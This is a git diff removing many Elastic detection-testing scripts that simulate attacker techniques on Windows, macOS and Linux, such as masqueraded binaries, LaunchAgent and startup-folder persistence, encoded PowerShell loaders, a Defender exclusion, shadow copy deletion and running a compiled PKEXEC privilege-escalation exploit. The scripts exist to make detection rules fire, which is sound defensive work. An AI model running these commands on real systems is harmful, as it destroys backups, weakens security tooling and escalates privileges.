common.execute([masquerade, "childprocess", command], timeout=5, kill=True, shell=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/payload_decode_bash_cmds.py b/rta/payload_decode_bash_cmds.py deleted file mode 100644 index 73ada0793..000000000 --- a/rta/payload_decode_bash_cmds.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4406f514-0ffa-465b-9cef-2eeeb32f1096", - platforms=["macos"], - endpoint=[ - { - "rule_id": "5dce3865-838f-4773-9781-87226af1fc12", - "rule_name": "Payload Decoded and Decrypted via Built-In Utilities", - } - ], - siem=[], - techniques=["T1027", "T1140", "T1059", "T1059.004", "T1204", "T1204.002"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/DiskImageMounter" - masquerade2 = "/tmp/bash" - masquerade3 = "/tmp/openssl" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - common.create_macos_masquerade(masquerade3) - - # Execute command - common.log("Launching fake bash with base64 decode commands") - common.execute([masquerade], timeout=10, kill=True) - - command = f"{masquerade3} enc -base64 -d" - common.execute([masquerade2, "childprocess", command, "/Volumes/test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.remove_file(masquerade3) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/periodic_task_creation.py b/rta/periodic_task_creation.py deleted file mode 100644 index eae2b4553..000000000 --- a/rta/periodic_task_creation.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="31161e21-c290-4e51-a6d3-2865710793ff", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Potential Persistence via Periodic Tasks", "rule_id": "48ec9452-e1fd-4513-a376-10a1a26d2c83"}], - techniques=["T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on periodic file test.conf to mimic periodic tasks creation") - common.temporary_file_helper("testing", file_name="/private/etc/periodic/test.conf") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistence_chrome_extension.py b/rta/persistence_chrome_extension.py deleted file mode 100644 index 98da3fc7c..000000000 --- a/rta/persistence_chrome_extension.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4d9af153-a878-4ae3-b6c4-b3f14e516f25", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Manual Loading of a Suspicious Chromium Extension", - "rule_id": "e8d52cc6-8785-43d2-8e98-30f07e19e16c", - } - ], - siem=[], - techniques=["T1176"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing chrome commands to load suspicious ext.") - chrome = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" - common.execute([chrome, "--load-extension=/test"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistence_mail_plist.py b/rta/persistence_mail_plist.py deleted file mode 100644 index 5a4a83fa1..000000000 --- a/rta/persistence_mail_plist.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="a9754fdb-2beb-454a-b918-36a56c5bf7bd", - platforms=["macos"], - endpoint=[ - { - "rule_id": "482e5ab2-029c-4896-afc0-f3e6b8280920", - "rule_name": "Suspicious Apple Mail Rule Plist Creation or Modification", - } - ], - siem=[], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on SyncedRules.plist file.") - plist_path = Path(f"{Path.home()}/Library/Mobile Documents/com.apple.mail/Data/test/MailData/") - plist_path.mkdir(exist_ok=True, parents=True) - output_file = plist_path / "SyncedRules.plist" - - with open(output_file, "w") as f: - f.write("test") - common.remove_directory(f"{Path.home()}/Library/Mobile Documents/com.apple.mail/Data/test/") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistence_plist_masquerade.py b/rta/persistence_plist_masquerade.py deleted file mode 100644 index 4a029a321..000000000 --- a/rta/persistence_plist_masquerade.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="8bd875f2-eafb-4151-bfb7-4bd97192400d", - platforms=["macos"], - endpoint=[ - {"rule_id": "3da48cdd-262a-42a9-af2f-c82ef639b9e3", "rule_name": "Persistence via a Masqueraded Plist Filename"} - ], - siem=[], - techniques=["T1547", "T1547.011", "T1543", "T1543.001", "T1036", "T1036.005"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - masquerade2 = "/tmp/testmodify" - - tmp_file = f"{Path.home()}/Library/LaunchAgents/com.apple.test.plist" - - # create tmp file - if not Path(tmp_file).exists(): - Path(tmp_file).write_text("test") - - # create masquerades - common.copy_file("/bin/bash", masquerade) - common.create_macos_masquerade(masquerade2) - - # remove signature - common.execute(["codesign", "--remove-signature", masquerade], timeout=5, kill=True) - - # Execute commands - common.log("Launching fake commands to modify com.apple.test.plist") - command = f"{masquerade} -c echo '1' >> {tmp_file}" - common.execute([masquerade2, "childprocess", command], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.remove_file(tmp_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistence_shell_via_web_server.py b/rta/persistence_shell_via_web_server.py deleted file mode 100644 index 5e8e23784..000000000 --- a/rta/persistence_shell_via_web_server.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import pathlib -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="884ae75b-d9ed-448c-9267-fb470fffb249", - platforms=["linux"], - endpoint=[{"rule_id": "753f83ff-437b-4952-8612-07e3c1327daf", "rule_name": "Potential Shell via Web Server"}], - siem=[], - techniques=["T1505", "T1505.003"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/httpd" - masquerade2 = "/tmp/bash" - # used only for linux at 2 places to enumerate xargs as parent process. - working_dir = "/tmp/fake_folder/httpd" - # Using the Linux binary that simulates parent-> child process in Linux - source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - # In linux the working directory is being projected as parent process. - # Hence, to simulate the parent process without many changes to execute logic - # a fake folder structure is created for execution. - # The execution working directory is changed to the fake folder, to simulate as xargs parent process in Linux. - pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True) - os.chdir(working_dir) - - # Execute command - common.log("Launching fake commands for potential shell via webserver") - command = f"{masquerade2} pwd" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.remove_directory(working_dir) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/persistence_startup_item.py b/rta/persistence_startup_item.py deleted file mode 100644 index b497a36de..000000000 --- a/rta/persistence_startup_item.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="7a8c8ab6-4994-47d1-b8b6-d1dca4499289", - platforms=["macos"], - endpoint=[ - { - "rule_id": "eaf68cce-b250-4a17-a3c3-3c9c4cf1ec14", - "rule_name": "Suspicious StartupItem Plist Creation or Modification", - } - ], - siem=[], - techniques=["T1037", "T1037.005"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing creation on temp StartupParameters.plist file.") - plist = "/Library/StartupItems/test/StartupParameters.plist" - output_file = Path(plist) - output_file.parent.mkdir(exist_ok=True, parents=True) - common.temporary_file_helper("testing", file_name=str(plist)) - common.remove_directory("/Library/StartupItems/test/") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistence_startup_unusual_process.py b/rta/persistence_startup_unusual_process.py deleted file mode 100644 index 0cc1f5b9b..000000000 --- a/rta/persistence_startup_unusual_process.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import time - - -metadata = RtaMetadata( - uuid="9a0c0715-5225-4170-a505-0e3cc4dfd63e", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - { - "rule_name": "Unusual File Written or Modified in Startup Folder", - "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", - }, - {"rule_name": "Startup Persistence via Unusual Process", "rule_id": "95d13ce1-ffb2-4be8-a56e-cc9a891e81e2"}, - { - "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", - "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", - }, - { - "rule_name": "Startup Persistence via Windows Script Interpreter", - "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", - }, - ], - siem=[], - techniques=["T1547", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - tempowershell = "C:\\Windows\\notp0sh.exe" - posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" - common.copy_file(powershell, tempowershell) - - time.sleep(2) - common.execute([tempowershell, "-c", "Copy-Item", powershell, tempowershell]) - common.remove_files(tempowershell, posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py deleted file mode 100644 index 6e696c6f4..000000000 --- a/rta/persistent_scripts.py +++ /dev/null @@ -1,72 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Persistent Scripts -# RTA: persistent_scripts.py -# ATT&CK: T1064 (Scripting), T1086 (PowerShell) - -import os -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="2ab62c28-1abb-4ac5-a16d-2f4f75d01d02", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}], - techniques=["T1053"], -) - - -VBS = common.get_path("bin", "persistent_script.vbs") -NAME = "rta-vbs-persistence" - - -@common.requires_os(*metadata.platforms) -@common.dependencies(common.PS_EXEC, VBS) -def main(): - common.log("Persistent Scripts") - - if common.check_system(): - common.log("Must be run as a non-SYSTEM user", log_type="!") - return 1 - - # Remove any existing profiles - user_profile = os.environ["USERPROFILE"] - log_file = Path(user_profile) / NAME / ".log" - - # Remove log file if exists - common.remove_file(log_file) - - common.log("Running VBS") - common.execute(["cscript.exe", VBS]) - - # Let the script establish persistence, then read the log file back - time.sleep(5) - common.print_file(log_file) - common.remove_file(log_file) - - # Now trigger a 'logon' event which causes persistence to run - common.log("Simulating user logon and loading of profile") - # common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"]) - # time.sleep(2) - - common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True) - common.execute(["schtasks.exe", "/run", "/tn", NAME]) - - # Wait for the "logon" to finish - time.sleep(30) - common.print_file(log_file) - - # Now delete the user profile - common.log("Cleanup", log_type="-") - common.remove_file(log_file) - common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ping_delayed_exec.py b/rta/ping_delayed_exec.py deleted file mode 100644 index 635873e0e..000000000 --- a/rta/ping_delayed_exec.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="48419773-64de-498a-be98-cb1f6815e80c", - platforms=["windows"], - endpoint=[{"rule_name": "Delayed Execution via Ping", "rule_id": "7615ca4b-c291-4f05-9488-114b6bf99157"}], - siem=[], - techniques=["T1216", "T1220", "T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - cmd = "C:\\Windows\\System32\\cmd.exe" - - # Execute command - common.log("Delaying rundll32 execution using ping...") - common.execute([cmd, "/c", "ping -n 3 127.0.0.1 && rundll32.exe"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/pkexec_shell.py b/rta/pkexec_shell.py deleted file mode 100644 index 4140945cb..000000000 --- a/rta/pkexec_shell.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="dc1baf0d-8048-481a-b142-73313181fe31", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Privilege Escalation via PKEXEC Exploitation", - "rule_id": "30c89cc9-d93c-4134-a976-58f8413f2f32", - }, - ], - siem=[], - techniques=["T1574", "T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Executing command to simulate privilege escalation via PKEXEC exploitation") - # The exploit reproduction is available for commercial usage via MIT License - # https://github.com/berdav/CVE-2021-4034/blob/main/LICENSE - # The RTA script has complied binary in the /bin folder. Refer src folder for the origin code. - - exploit_path = common.get_path("bin", "pkexec_cve20214034", "cve-2021-4034") - common.execute(exploit_path) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/pkg_install_chmod.py b/rta/pkg_install_chmod.py deleted file mode 100644 index 45be4e6b7..000000000 --- a/rta/pkg_install_chmod.py +++ /dev/null @@ -1,61 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="caa6feb7-cc17-425f-996f-b1b69efa93e2", - platforms=["macos"], - endpoint=[ - {"rule_name": "File Made Executable via Pkg Install Script", "rule_id": "75f5d51a-218f-4d5b-80e5-eb74e498fde4"}, - { - "rule_name": "File Made Executable by Suspicious Parent Process", - "rule_id": "42ab2c0f-b10d-467d-8c6d-def890cf3f68", - }, - { - "rule_name": "Suspicious File Create via Pkg Install Script", - "rule_id": "f06d9987-33f8-44b7-b815-c1f66fb39d25", - }, - ], - siem=[], - techniques=["T1222", "T1222.002", "T1564", "T1546", "T1546.016"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - dest_file = "/tmp/test.py" - source_file = "/tmp/test.txt" - masquerade = "/Users/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - command = f"chmod +x {source_file}" - common.log("Launching fake bash commands to execute chmod on file via pkg install") - with common.temporary_file("testing", source_file): - common.execute( - [ - masquerade, - "childprocess", - command, - "childprocess", - f"cp {source_file} {dest_file}", - "childprocess", - "/tmp/PKInstallSandbox.*/Scripts/*/postinstall", - ], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - common.remove_file(dest_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/plist_creation.py b/rta/plist_creation.py deleted file mode 100644 index 3e7dd59ce..000000000 --- a/rta/plist_creation.py +++ /dev/null @@ -1,74 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -from pathlib import Path - - -metadata = RtaMetadata( - uuid="12e70377-e24e-4374-8aec-42064614d706", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious Property List File Creation or Modification", - "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", - } - ], - siem=[], - techniques=["T1547", "T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - launch_agents_dir = Path.home() / "Library" / "Launchagents" - plistbuddy_bin = "/usr/libexec/PlistBuddy" - plist_file = Path.home() / "Library" / "Launchagents" / "init_verx.plist" - - # Create launch agents dir if it doesn't exist - if not launch_agents_dir.exists(): - common.log(f"Creating directory {launch_agents_dir}") - launch_agents_dir.mkdir() - - # Create plist file using Plistbuddy - common.log("Executing PlistBuddy commands to create plist file") - common.execute( - [f"{plistbuddy_bin}", "-c", "Add :Label string init_verx", f"{plist_file}"], - shell=True, - ) - common.pause() - common.execute([f"{plistbuddy_bin}", "-c", "Add :RunAtLoad bool true", f"{plist_file}"]) - common.pause() - common.execute([f"{plistbuddy_bin}", "-c", "Add :StartInterval integer 3600", f"{plist_file}"]) - common.pause() - common.execute([f"{plistbuddy_bin}", "-c", "Add :ProgramArguments array", f"{plist_file}"]) - common.pause() - common.execute( - [ - f"{plistbuddy_bin}", - "-c", - "Add :ProgramArguments:0 string '/bin/sh'", - f"{plist_file}", - ] - ) - common.pause() - common.execute( - [ - f"{plistbuddy_bin}", - "-c", - "Add :ProgramArguments:1 string -c", - f"{plist_file}", - ] - ) - - # Delete the plist file if it exists - if plist_file.exists(): - common.log(f"Deleting plist file {plist_file}") - plist_file.unlink() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/plistbuddy_file_modification.py b/rta/plistbuddy_file_modification.py deleted file mode 100644 index c03a87dbc..000000000 --- a/rta/plistbuddy_file_modification.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="522a18d6-0c27-499f-86d9-cd421129a38d", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious Property List File Creation or Modification", - "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", - } - ], - siem=[], - techniques=["T1547", "T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/plistbuddy" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake plistbuddy command to modify plist files") - common.execute([masquerade, "testRunAtLoad testLaunchAgentstest"], timeout=10, kill=True) - common.execute([masquerade, "testProgramArgumentstest"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/polkit_system_service.py b/rta/polkit_system_service.py deleted file mode 100644 index 3d6904b82..000000000 --- a/rta/polkit_system_service.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="32a4b4dd-24b3-4aed-bbce-2ca6ed5e1d69", - platforms=["linux"], - endpoint=[ - { - "rule_id": "3144cab7-cc28-46c3-a3ac-8fefe8db22d6", - "rule_name": "Privilege Escalation via Polkit System Service", - }, - ], - siem=[], - techniques=["T1548"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/dbus-send" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Executing Fake commands to test Privilege Escalation via Polkit System Service") - common.execute( - [ - masquerade, - "--dest=org.freedesktop.Accounts", - "org.freedesktop.Accounts.CreateUser", - "org.freedesktop.Accounts.User.SetPassword", - "org.freedesktop.Accounts.DeleteUser", - ], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/port_monitor.py b/rta/port_monitor.py deleted file mode 100644 index e51147a74..000000000 --- a/rta/port_monitor.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Privilege Escalation via Port Monitor Registration -# RTA: port_monitor.py -# ATT&CK: T1013 -# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d7d1d0cf-a84a-4526-b0db-be59a210246e", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "8f3e91c7-d791-4704-80a1-42c160d7aa27", - "rule_name": "Potential Port Monitor or Print Processor Registration Abuse", - } - ], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Writing registry key and dummy dll") - - key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah" - value = "test" - dll = "test.dll" - - with common.temporary_reg(common.HKLM, key, value, dll): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/potential_vscode_tunnel.py b/rta/potential_vscode_tunnel.py deleted file mode 100644 index e75b6d5f1..000000000 --- a/rta/potential_vscode_tunnel.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import pathlib -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="fb5cd755-cc31-4142-969a-cd14d3142b36", - platforms=["linux"], - endpoint=[ - {"rule_id": "aec74eb4-9618-42ff-96eb-2d13e6959d47", "rule_name": "Potential VScode Remote Tunnel Established"}, - ], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "code_tunnel.json" - working_dir = "/tmp/fake_folder/code" - source = common.get_path("bin", "linux.ditto_and_spawn") - - # Execute command - common.log("Executing Fake commands to test Potential VScode Remote Tunnel Established") - pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True) - os.chdir(working_dir) - common.copy_file(source, masquerade) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/powershell_args.py b/rta/powershell_args.py deleted file mode 100644 index deadc64ab..000000000 --- a/rta/powershell_args.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Powershell with Suspicious Arguments -# RTA: powershell_args.py -# ATT&CK: T1140 -# Description: Calls PowerShell with suspicious command line arguments. - -import base64 -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5efc844c-0c11-4f84-a904-ada611315298", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -def encode(command): - return base64.b64encode(command.encode("utf-16le")) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("PowerShell Suspicious Commands") - temp_script = Path("tmp.ps1").resolve() - - # Create an empty script - with open(temp_script, "w") as f: - f.write("whoami.exe\nexit\n") - - powershell_commands = [ - ["powershell.exe", "-ExecutionPol", "Bypass", temp_script], - ["powershell.exe", "iex", "Get-Process"], - ["powershell.exe", "-ec", encode("Get-Process" + " " * 1000)], - ] - - for command in powershell_commands: - common.execute(command) - - common.remove_file(temp_script) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py deleted file mode 100644 index b5efea1e2..000000000 --- a/rta/powershell_base64_gzip.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: PowerShell with base64/gzip -# RTA: powershell_base64_gzip.py -# ATT&CK: T1140 -# Description: Calls PowerShell with command-line that contains base64/gzip - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="38defc7e-7234-45a2-83ef-e845d0eba3f2", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "81fe9dc6-a2d7-4192-a2d8-eed98afc766a", - "rule_name": "PowerShell Suspicious Payload Encoded and Compressed", - } - ], - techniques=["T1140", "T1027", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("PowerShell with base64/gzip") - - command = "powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)" # noqa: E501 - common.execute(command) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/powershell_delete_shadow_copy.py b/rta/powershell_delete_shadow_copy.py deleted file mode 100644 index 4d2370273..000000000 --- a/rta/powershell_delete_shadow_copy.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="463e513d-1b7e-447c-a019-a340445cea3f", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'd99a037b-c8e2-47a5-97b9-170d076827c4', - 'rule_name': 'Volume Shadow Copy Deletion via PowerShell' - }], - techniques=['T1490'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py deleted file mode 100644 index 709a583ba..000000000 --- a/rta/powershell_from_script.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: PowerShell Launched from Script -# RTA: powershell_from_script.py -# signal.rule.name: Windows Script Executing PowerShell -# ATT&CK: T1064, T1192, T1193 -# Description: Creates a javascript file that will launch powershell. - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="161c5972-6bfe-47b5-92bd-e0399e025dec", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "f545ff26-3c94-4fd0-bd33-3c7f95a3a0fc", "rule_name": "Windows Script Executing PowerShell"}], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Write script - script_file = Path("launchpowershell.vbs").resolve() - script = """Set objShell = CreateObject("Wscript.shell") - objShell.run("powershell echo 'Doing evil things...'; sleep 3") - """ - with open(script_file, "w") as f: - f.write(script) - - # Execute script - for proc in ["wscript", "cscript"]: - common.execute([proc, script_file]) - time.sleep(3) - - # Clean up - common.remove_file(script_file) - - return common.SUCCESS - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/powershell_unsigned_defender_exclusion.py b/rta/powershell_unsigned_defender_exclusion.py deleted file mode 100644 index 22d4dc078..000000000 --- a/rta/powershell_unsigned_defender_exclusion.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1ccbd3c6-69c8-4476-b5e5-da3d167a09f1", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Windows Defender Exclusions Added via PowerShell", - "rule_id": "2ad8b514-baf0-4e29-a712-d6734868aa57", - } - ], - siem=[], - techniques=["T1562", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, posh) - - cmd = "powershell -c Add-MpPreference -ExclusionPath" - # Execute command - common.execute([posh, "/c", cmd], timeout=10) - 